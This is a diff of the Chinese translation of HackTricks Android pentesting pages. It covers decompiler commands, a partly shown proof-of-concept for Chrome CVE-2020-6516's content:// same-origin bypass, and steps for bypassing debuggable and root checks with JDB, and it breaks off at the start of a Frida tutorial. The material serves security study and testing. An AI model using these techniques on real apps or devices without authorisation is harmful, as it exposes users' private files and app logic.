### [Jadx](https://github.com/skylot/jadx)
|
||||
|
||||
**Jadx**提供了一个用户友好的界面,用于从Android应用程序中反编译Java代码。它因跨不同平台的易用性而备受推荐。
|
||||
**Jadx** 提供了一个用户友好的界面,用于反编译 Android 应用程序中的 Java 代码。由于其跨平台的易用性,推荐使用。
|
||||
|
||||
- 要启动GUI,请转到bin目录并执行:`jadx-gui`
|
||||
- 对于命令行用法,使用以下命令反编译APK:`jadx app.apk`
|
||||
- 要指定输出目录或调整反编译选项:`jadx app.apk -d <输出目录路径> --no-res --no-src --no-imports`
|
||||
- 要启动 GUI,请导航到 bin 目录并执行:`jadx-gui`
|
||||
- 对于命令行使用,反编译 APK:`jadx app.apk`
|
||||
- 要指定输出目录或调整反编译选项:`jadx app.apk -d <path to output dir> --no-res --no-src --no-imports`
|
||||
|
||||
### [GDA-android-reversing-Tool](https://github.com/charles2gan/GDA-android-reversing-Tool)
|
||||
|
||||
**GDA**是一个仅适用于Windows的工具,为反向工程Android应用程序提供了丰富的功能。在Windows系统上安装并运行GDA,然后加载APK文件进行分析。
|
||||
**GDA** 是一个仅限 Windows 的工具,提供了广泛的 Android 应用程序逆向工程功能。在 Windows 系统上安装并运行 GDA,然后加载 APK 文件进行分析。
|
||||
|
||||
### [Bytecode-Viewer](https://github.com/Konloch/bytecode-viewer/releases)
|
||||
|
||||
使用**Bytecode-Viewer**,您可以使用多个反编译器分析APK文件。下载后,运行Bytecode-Viewer,加载您的APK,并选择您希望用于同时分析的反编译器。
|
||||
使用 **Bytecode-Viewer**,您可以使用多个反编译器分析 APK 文件。下载后,运行 Bytecode-Viewer,加载您的 APK,并选择您希望同时使用的反编译器进行分析。
|
||||
|
||||
### [Enjarify](https://github.com/Storyyeller/enjarify)
|
||||
|
||||
**Enjarify**将Dalvik字节码转换为Java字节码,使Java分析工具能够更有效地分析Android应用程序。
|
||||
**Enjarify** 将 Dalvik 字节码转换为 Java 字节码,使 Java 分析工具能够更有效地分析 Android 应用程序。
|
||||
|
||||
- 要使用Enjarify,请运行:`enjarify app.apk`
|
||||
这将生成所提供APK的Java字节码等效物。
|
||||
- 使用 Enjarify,运行:`enjarify app.apk`
|
||||
这将生成提供的 APK 的 Java 字节码等效物。
|
||||
|
||||
### [CFR](https://github.com/leibnitz27/cfr)
|
||||
|
||||
**CFR**能够反编译现代Java特性。使用方法如下:
|
||||
**CFR** 能够反编译现代 Java 特性。使用方法如下:
|
||||
|
||||
- 对于标准反编译:`java -jar ./cfr.jar "app.jar" --outputdir "输出目录"`
|
||||
- 对于大型JAR文件,请调整JVM内存分配:`java -Xmx4G -jar ./cfr.jar "app.jar" --outputdir "输出目录"`
|
||||
- 对于标准反编译:`java -jar ./cfr.jar "app.jar" --outputdir "output_directory"`
|
||||
- 对于大型 JAR 文件,调整 JVM 内存分配:`java -Xmx4G -jar ./cfr.jar "app.jar" --outputdir "output_directory"`
|
||||
|
||||
### [Fernflower](https://github.com/JetBrains/intellij-community/tree/master/plugins/java-decompiler/engine)
|
||||
|
||||
**Fernflower**是一款分析反编译器,需要从源代码构建。构建后:
|
||||
**Fernflower** 是一个分析型反编译器,需要从源代码构建。构建后:
|
||||
|
||||
- 反编译JAR文件:`java -jar ./fernflower.jar "app.jar" "输出目录"`
|
||||
然后,使用`unzip`从生成的JAR文件中提取`.java`文件。
|
||||
- 反编译 JAR 文件:`java -jar ./fernflower.jar "app.jar" "output_directory"`
|
||||
然后,使用 `unzip` 从生成的 JAR 中提取 `.java` 文件。
|
||||
|
||||
### [Krakatau](https://github.com/Storyyeller/Krakatau)
|
||||
|
||||
**Krakatau**提供了对反编译的详细控制,特别适用于处理外部库。
|
||||
**Krakatau** 提供了对反编译的详细控制,特别是在处理外部库时。
|
||||
|
||||
- 通过指定标准库路径和要反编译的JAR文件使用Krakatau:`./Krakatau/decompile.py -out "输出目录" -skip -nauto -path "./jrt-extractor/rt.jar" "app.jar"`
|
||||
- 使用 Krakatau 时,指定标准库路径和要反编译的 JAR 文件:`./Krakatau/decompile.py -out "output_directory" -skip -nauto -path "./jrt-extractor/rt.jar" "app.jar"`
|
||||
|
||||
### [procyon](https://github.com/mstrobel/procyon)
|
||||
|
||||
对于使用**procyon**进行简单反编译:
|
||||
使用 **procyon** 进行简单的反编译:
|
||||
|
||||
- 将JAR文件反编译到指定目录:`procyon -jar "app.jar" -o "输出目录"`
|
||||
- 将 JAR 文件反编译到指定目录:`procyon -jar "app.jar" -o "output_directory"`
|
||||
|
|
|
@ -1,41 +1,39 @@
|
|||
{% hint style="success" %}
|
||||
学习与实践 AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
**这是一篇文章的摘要 [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)**
|
||||
**这是帖子 [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/) 的摘要**
|
||||
|
||||
### 在媒体存储中列出文件
|
||||
### 列出媒体存储中的文件
|
||||
要列出媒体存储管理的文件,可以使用以下命令:
|
||||
```bash
|
||||
$ content query --uri content://media/external/file
|
||||
```
|
||||
为了获得更加人性化的输出,仅显示每个索引文件的标识符和路径:
|
||||
为了更人性化的输出,仅显示每个索引文件的标识符和路径:
|
||||
```bash
|
||||
$ content query --uri content://media/external/file --projection _id,_data
|
||||
```
|
||||
### 内容提供程序
|
||||
内容提供者被隔离在其自己的私有命名空间中。访问提供者需要特定的 `content://` URI。有关访问提供者的路径的信息可以从应用程序清单或Android框架的源代码中获得。
|
||||
|
||||
内容提供程序被隔离在它们自己的私有命名空间中。访问提供程序需要特定的 `content://` URI。关于访问提供程序的路径信息可以从应用清单或Android框架的源代码中获取。
|
||||
### Chrome对内容提供者的访问
|
||||
Android上的Chrome可以通过 `content://` 方案访问内容提供者,从而访问第三方应用程序导出的资源,如照片或文档。为了说明这一点,可以将文件插入到媒体库中,然后通过Chrome访问:
|
||||
|
||||
### Chrome 访问内容提供程序
|
||||
|
||||
在 Android 上,Chrome 可以通过 `content://` 方案访问内容提供程序,从而可以访问第三方应用程序导出的照片或文档等资源。为了说明这一点,可以将文件插入到媒体存储中,然后通过 Chrome 访问:
|
||||
|
||||
向媒体存储插入自定义条目:
|
||||
将自定义条目插入媒体库:
|
||||
```bash
|
||||
cd /sdcard
|
||||
echo "Hello, world!" > test.txt
|
||||
|
@ -49,21 +47,21 @@ content query --uri content://media/external/file \
|
|||
--projection _id,_data | grep test.txt
|
||||
# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt
|
||||
```
|
||||
文件可以使用使用文件标识符构建的URL在Chrome中查看。
|
||||
该文件可以通过使用文件标识符构建的 URL 在 Chrome 中查看。
|
||||
|
||||
例如,要列出与特定应用程序相关的文件:
|
||||
```bash
|
||||
content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>
|
||||
```
|
||||
### Chrome CVE-2020-6516: 同源策略绕过
|
||||
### Chrome CVE-2020-6516: Same-Origin-Policy Bypass
|
||||
|
||||
_Same Origin Policy_ (SOP) 是浏览器中的一种安全协议,它限制了网页与不同来源的资源进行交互,除非经过跨源资源共享 (CORS) 策略明确允许。该策略旨在防止信息泄露和跨站请求伪造。Chrome 将 `content://` 视为本地方案,意味着更严格的 SOP 规则,其中每个本地方案 URL 都被视为一个单独的来源。
|
||||
_同源策略_ (SOP) 是浏览器中的一种安全协议,限制网页与来自不同源的资源进行交互,除非通过跨源资源共享 (CORS) 策略明确允许。该策略旨在防止信息泄露和跨站请求伪造。Chrome 将 `content://` 视为本地方案,这意味着更严格的 SOP 规则,其中每个本地方案 URL 被视为一个单独的源。
|
||||
|
||||
然而,CVE-2020-6516 是 Chrome 中的一个漏洞,允许通过 `content://` URL 加载的资源绕过 SOP 规则。实际上,来自 `content://` URL 的 JavaScript 代码可以访问通过 `content://` URL 加载的其他资源,这是一个重要的安全问题,特别是在运行早于 Android 10 版本的 Android 设备上,因为这些设备尚未实现作用域存储。
|
||||
然而,CVE-2020-6516 是 Chrome 中的一个漏洞,允许通过 `content://` URL 绕过 SOP 规则。实际上,来自 `content://` URL 的 JavaScript 代码可以访问通过 `content://` URL 加载的其他资源,这在安全上是一个重大问题,尤其是在运行 Android 10 之前版本的 Android 设备上,因为这些版本未实现范围存储。
|
||||
|
||||
下面的概念验证演示了这个漏洞,其中一个 HTML 文档在 **/sdcard** 下上传并添加到媒体存储后,使用其 JavaScript 中的 `XMLHttpRequest` 访问并显示媒体存储中另一个文件的内容,绕过了 SOP 规则。
|
||||
下面的概念验证演示了这个漏洞,其中一个 HTML 文档在 **/sdcard** 下上传并添加到媒体库中,使用其 JavaScript 中的 `XMLHttpRequest` 访问并显示媒体库中另一个文件的内容,绕过了 SOP 规则。
|
||||
|
||||
概念验证 HTML:
|
||||
Proof-of-Concept HTML:
|
||||
```xml
|
||||
<html>
|
||||
<head>
|
||||
|
@ -96,16 +94,17 @@ xhr.send();
|
|||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,108 +1,108 @@
|
|||
# 利用可调试应用程序
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFT**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
# **绕过root和可调试检查**
|
||||
# **绕过 root 和可调试检查**
|
||||
|
||||
本文节选自文章[**https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0**](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0)
|
||||
本节内容是来自帖子 [**https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0**](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0) 的总结。
|
||||
|
||||
## 使Android应用程序可调试并绕过检查的步骤
|
||||
## 使 Android 应用可调试并绕过检查的步骤
|
||||
|
||||
### **使应用程序可调试**
|
||||
### **使应用可调试**
|
||||
|
||||
内容基于https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0
|
||||
内容基于 https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0
|
||||
|
||||
1. **反编译APK:**
|
||||
- 使用APK-GUI工具对APK进行反编译。
|
||||
- 在_android-manifest_文件中插入`android:debuggable=true`以启用调试模式。
|
||||
- 重新编译、签名和对修改后的应用程序进行zipalign。
|
||||
1. **反编译 APK:**
|
||||
- 使用 APK-GUI 工具反编译 APK。
|
||||
- 在 _android-manifest_ 文件中插入 `android:debuggable=true` 以启用调试模式。
|
||||
- 重新编译、签名并进行 zipalign 处理修改后的应用程序。
|
||||
|
||||
2. **安装修改后的应用程序:**
|
||||
- 使用命令:`adb install <application_name>`。
|
||||
- 使用命令: `adb install <application_name>`。
|
||||
|
||||
3. **检索包名:**
|
||||
- 执行`adb shell pm list packages –3`以列出第三方应用程序并找到包名。
|
||||
- 执行 `adb shell pm list packages –3` 列出第三方应用程序并找到包名。
|
||||
|
||||
4. **设置应用程序等待调试器连接:**
|
||||
- 命令:`adb shell am setup-debug-app –w <package_name>`。
|
||||
- **注意:** 必须在启动应用程序之前每次运行此命令,以确保应用程序等待调试器。
|
||||
- 要持久化,使用`adb shell am setup-debug-app –w -–persistent <package_name>`。
|
||||
- 要删除所有标志,使用`adb shell am clear-debug-app <package_name>`。
|
||||
4. **设置应用以等待调试器连接:**
|
||||
- 命令: `adb shell am setup-debug-app –w <package_name>`。
|
||||
- **注意:** 每次启动应用程序之前必须运行此命令,以确保它等待调试器。
|
||||
- 为了持久性,使用 `adb shell am setup-debug-app –w -–persistent <package_name>`。
|
||||
- 要移除所有标志,使用 `adb shell am clear-debug-app <package_name>`。
|
||||
|
||||
5. **在Android Studio中准备调试:**
|
||||
- 在Android Studio中导航至_File -> Open Profile or APK_。
|
||||
- 打开重新编译后的APK。
|
||||
5. **在 Android Studio 中准备调试:**
|
||||
- 在 Android Studio 中导航到 _File -> Open Profile or APK_。
|
||||
- 打开重新编译的 APK。
|
||||
|
||||
6. **在关键Java文件中设置断点:**
|
||||
- 在`MainActivity.java`(特别是在`onCreate`方法中)、`b.java`和`ContextWrapper.java`中设置断点。
|
||||
6. **在关键 Java 文件中设置断点:**
|
||||
- 在 `MainActivity.java`(特别是在 `onCreate` 方法中)、`b.java` 和 `ContextWrapper.java` 中设置断点。
|
||||
|
||||
### **绕过检查**
|
||||
|
||||
应用程序在某些点会验证是否可调试,并检查是否存在指示设备已root的二进制文件。可以使用调试器修改应用程序信息、取消调试标志并更改搜索二进制文件的名称以绕过这些检查。
|
||||
应用程序在某些时刻会验证是否可调试,并检查指示设备已 root 的二进制文件。可以使用调试器修改应用信息、取消设置可调试位,并更改搜索的二进制文件名称以绕过这些检查。
|
||||
|
||||
对于可调试检查:
|
||||
|
||||
1. **修改标志设置:**
|
||||
- 在调试器控制台的变量部分中导航至:`this mLoadedAPK -> mApplicationInfo -> flags = 814267974`。
|
||||
- **注意:** `flags = 814267974`的二进制表示是`11000011100111011110`,表示“Flag_debuggable”已激活。
|
||||
- 在调试器控制台的变量部分,导航到: `this mLoadedAPK -> mApplicationInfo -> flags = 814267974`。
|
||||
- **注意:** `flags = 814267974` 的二进制表示为 `11000011100111011110`,表示 "Flag_debuggable" 是活动的。
|
||||
|
||||
![https://miro.medium.com/v2/resize:fit:1400/1*-ckiSbWGSoc1beuxxpKbow.png](https://miro.medium.com/v2/resize:fit:1400/1*-ckiSbWGSoc1beuxxpKbow.png)
|
||||
|
||||
这些步骤共同确保应用程序可以进行调试,并且可以使用调试器绕过某些安全检查,从而更深入地分析或修改应用程序的行为。
|
||||
这些步骤共同确保应用程序可以被调试,并且可以使用调试器绕过某些安全检查,从而便于对应用程序行为进行更深入的分析或修改。
|
||||
|
||||
第2步涉及将标志值更改为814267972,其二进制表示为110000101101000000100010100。
|
||||
第 2 步涉及将标志值更改为 814267972,其二进制表示为 110000101101000000100010100。
|
||||
|
||||
# **利用漏洞**
|
||||
|
||||
演示使用一个包含按钮和文本视图的易受攻击应用程序。最初,应用程序显示“Crack Me”。目标是在运行时将消息从“Try Again”更改为“Hacked”,而无需修改源代码。
|
||||
演示使用了一个包含按钮和文本视图的易受攻击应用程序。最初,应用程序显示 "Crack Me"。目标是在运行时将消息从 "Try Again" 更改为 "Hacked",而不修改源代码。
|
||||
|
||||
## **检查漏洞**
|
||||
- 使用`apktool`对应用程序进行反编译,以访问`AndroidManifest.xml`文件。
|
||||
- 在AndroidManifest.xml中存在`android_debuggable="true"`表明应用程序是可调试的且易受攻击。
|
||||
- 值得注意的是,`apktool`仅用于检查可调试状态,而不修改任何代码。
|
||||
- 使用 `apktool` 反编译应用程序以访问 `AndroidManifest.xml` 文件。
|
||||
- `AndroidManifest.xml` 中存在 `android_debuggable="true"` 表示该应用程序是可调试的,容易受到利用。
|
||||
- 值得注意的是,`apktool` 仅用于检查可调试状态,而不更改任何代码。
|
||||
|
||||
## **准备设置**
|
||||
- 过程涉及启动模拟器、安装易受攻击的应用程序,并使用`adb jdwp`识别正在侦听的Dalvik VM端口。
|
||||
- JDWP(Java调试线协议)允许通过公开唯一端口调试在VM中运行的应用程序。
|
||||
- 远程调试需要端口转发,然后将JDB附加到目标应用程序。
|
||||
- 该过程涉及启动模拟器,安装易受攻击的应用程序,并使用 `adb jdwp` 识别正在监听的 Dalvik VM 端口。
|
||||
- JDWP(Java Debug Wire Protocol)允许通过暴露唯一端口来调试在 VM 中运行的应用程序。
|
||||
- 需要进行端口转发以进行远程调试,然后将 JDB 附加到目标应用程序。
|
||||
|
||||
## **在运行时注入代码**
|
||||
- 通过设置断点和控制应用程序流程来执行利用。
|
||||
- 使用`classes`和`methods <class_name>`等命令来揭示应用程序的结构。
|
||||
- 在`onClick`方法设置断点,并控制其执行。
|
||||
- 使用`locals`、`next`和`set`命令来检查和修改局部变量,特别是将“Try Again”消息更改为“Hacked”。
|
||||
- 使用`run`命令执行修改后的代码,成功实时更改应用程序的输出。
|
||||
- 通过设置断点和控制应用程序流程进行利用。
|
||||
- 使用 `classes` 和 `methods <class_name>` 等命令来揭示应用程序的结构。
|
||||
- 在 `onClick` 方法处设置断点,并控制其执行。
|
||||
- 使用 `locals`、`next` 和 `set` 命令检查和修改局部变量,特别是将 "Try Again" 消息更改为 "Hacked"。
|
||||
- 使用 `run` 命令执行修改后的代码,成功实时更改应用程序的输出。
|
||||
|
||||
此示例演示了如何操纵可调试应用程序的行为,突显了更复杂利用的潜力,例如在应用程序上下文中获取设备上的shell访问权限。
|
||||
这个例子演示了如何操纵可调试应用程序的行为,突显了更复杂的利用潜力,例如在应用程序上下文中获得设备的 shell 访问权限。
|
||||
|
||||
|
||||
|
||||
## 参考资料
|
||||
## 参考文献
|
||||
* [https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0)
|
||||
* [https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications](https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications)
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFT**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,22 +1,23 @@
|
|||
# Frida 教程
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想在 HackTricks 中看到您的**公司广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) 上 **关注**我们**。**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧**。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**漏洞赏金提示**:**注册** Intigriti,这是一家由黑客创建的高级**漏洞赏金平台**!立即加入我们,访问 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks),开始赚取高达**$100,000**的赏金!
|
||||
**漏洞赏金提示**:**注册** **Intigriti**,一个由黑客为黑客创建的高级 **漏洞赏金平台**!今天就加入我们 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks),开始赚取高达 **$100,000** 的赏金!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
|
@ -27,14 +28,16 @@
|
|||
pip install frida-tools
|
||||
pip install frida
|
||||
```
|
||||
**下载并安装**安卓设备上的**frida server**([下载最新版本](https://github.com/frida/frida/releases))。
|
||||
一行命令以root模式重新启动adb,连接到adb,上传frida-server,赋予执行权限并在后台运行:
|
||||
